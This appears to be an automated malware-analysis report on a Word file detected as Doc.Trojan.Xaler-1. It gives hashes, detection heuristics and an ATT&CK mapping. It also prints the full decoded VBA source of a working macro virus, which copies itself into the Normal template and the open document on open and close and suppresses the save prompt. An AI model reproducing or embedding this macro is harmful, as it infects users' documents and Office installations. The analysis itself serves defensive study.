Doc.Trojan.Xaler-1 Office (OLE) malware analysis — malicious · d0f1456961213710

MALICIOUS

Office (OLE)

377.5 KB Created: 2011-08-27 06:04:00 Authoring application: Microsoft Office Word First seen: 2017-02-27

MD5: e491ba38cbb10cae623389c0281bfefa SHA-1: cf9aa6ccabf1ec1e1e40ad4d7f481819634d97f2 SHA-256: d0f1456961213710144b9b41592e9119511e88f6e4785800023b956b3c44397b

148 Risk Score

Malware Insights

Doc.Trojan.Xaler-1 · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Xaler-1. It contains VBA macros, specifically a Document_Open macro that calls GOODSub. This subroutine attempts to export the macro code to a temporary file 'C:\temp.tmp', manipulate it, and then re-insert it into the document or NormalTemplate, potentially for persistence or obfuscation. The macro also attempts to modify the document's properties.

Heuristics 3

ClamAV: Doc.Trojan.Xaler-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Xaler-1
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Private Sub Document_Open()
Call GOODSub
```

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	3152 bytes
SHA-256: `7d99857eac39d8ff28c06be54e4fd918a5249f962bb05a2f01bb0518c2a2e4e0`
Detection ClamAV: Doc.Trojan.Xaler-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True 'RELAX Private Sub RELAX2() End Sub Private Sub Document_Close() GOODSub Call RELAX2 End Sub Private Sub GOODSub() On Error Resume Next Application.ScreenUpdating = False Application.Options.SaveNormalPrompt = False x$ = "C:\temp.tmp" MacroContainer.VBProject.VBComponents.Item("ThisDocument").Export x$ Open x$ For Input As #1 keimeno = Input(LOF(1), 1) Close #1 kk& = InStr(1, keimeno, "'RELAX") keimeno = Right$(keimeno, Len(keimeno) - kk& + 1) For j = 1 To 2 If j = 1 Then NormalTemplate.VBProject.VBComponents.Item("ThisDocument").Export x$ Else ActiveDocument.VBProject.VBComponents.Item("ThisDocument").Export x$ End If Open x$ For Input As #1 rlx = Input(LOF(1), 1) Close #1 d1 = InStr(1, rlx, "'RELAX") If d1 = 0 Then If j = 1 Then NormalTemplate.VBProject.VBComponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno NormalTemplate.Save Else ActiveDocument.VBProject.VBComponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno End If End If Next j '==================== Dim PRostasia As Byte PRostasia = 1 fff = FreeFile If Dir(ActiveDocument.FullName, 6) <> "" Then Open ActiveDocument.FullName For Binary As #fff Put #fff, 862, PRostasia Close #fff ActiveDocument.Save End If Kill x$ Application.ScreenUpdating = True End Sub Private Sub Document_New() End Sub Private Sub Document_Open() Call GOODSub On Error Resume Next Application.ScreenUpdating = False Application.Options.SaveNormalPrompt = False x$ = "C:\temp.tmp" MacroContainer.VBProject.VBComponents.Item("ThisDocument").Export x$ Open x$ For Input As #1 keimeno = Input(LOF(1), 1) Close #1 kk& = InStr(1, keimeno, "'RELAX") keimeno = Right$(keimeno, Len(keimeno) - kk& + 1) For j = 1 To 2 If j = 1 Then NormalTemplate.VBProject.VBComponents.Item("ThisDocument").Export x$ Else ActiveDocument.VBProject.VBComponents.Item("ThisDocument").Export x$ End If Open x$ For Input As #1 rlx = Input(LOF(1), 1) Close #1 d1 = InStr(1, rlx, "'RELAX") If d1 = 0 Then If j = 1 Then NormalTemplate.VBProject.VBComponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno NormalTemplate.Save Else ActiveDocument.VBProject.VBComponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno End If End If Next j '==================== Dim PRostasia As Byte PRostasia = 1 fff = FreeFile If Dir(ActiveDocument.FullName, 6) <> "" Then Open ActiveDocument.FullName For Binary As #fff Put #fff, 862, PRostasia Close #fff ActiveDocument.Save End If Kill x$ Application.ScreenUpdating = True End Sub

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